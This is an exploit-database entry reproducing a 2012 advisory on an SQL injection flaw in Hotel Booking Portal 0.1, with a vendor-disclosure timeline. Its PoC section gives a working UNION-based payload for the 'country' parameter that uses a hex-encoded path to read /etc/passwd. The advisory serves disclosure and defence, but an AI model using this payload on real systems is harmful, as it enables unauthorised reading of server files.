header-logo
Suggest Exploit
vendor:
Hotel Booking Portal
by:
Mark Stanislav
7,5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Hotel Booking Portal
Affected Version From: 0.1
Affected Version To: 0.1
Patch Exists: NO
Related CWE: CVE-2012-1672
CPE: hbportal
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: None
2012

Hotel Booking Portal SQL Injection (CVE-2012-1672)

A vulnerability exists in getcity.php that allows for SQL injection of the 'country' POST parameter.

Mitigation:

Do not use this software, no patched version exists at this time.
Source

Exploit-DB raw data:

'Hotel Booking Portal' SQL Injection (CVE-2012-1672)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
---------------------------------------
A vulnerability exists in getcity.php that allows for SQL injection of the 'country' POST parameter.

 
II. TESTED VERSION
---------------------------------------
0.1


III. PoC EXPLOIT
---------------------------------------
POST a form to getcity.php with the value of 'country' set to: ' union select null,null,load_file(0x2f6574632f706173737764),null,null,null,null,null from users where 'a'='a


IV. SOLUTION
---------------------------------------
Do not use this software, no patched version exists at this time.


V. REFERENCES
---------------------------------------
http://sourceforge.net/projects/hbportal/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1672


VI. TIMELINE
---------------------------------------
03/02/2012 - Initial vendor disclosure
03/20/2012 - Received no response and sent a second e-mail to the vendor
04/04/2012 - Public disclosure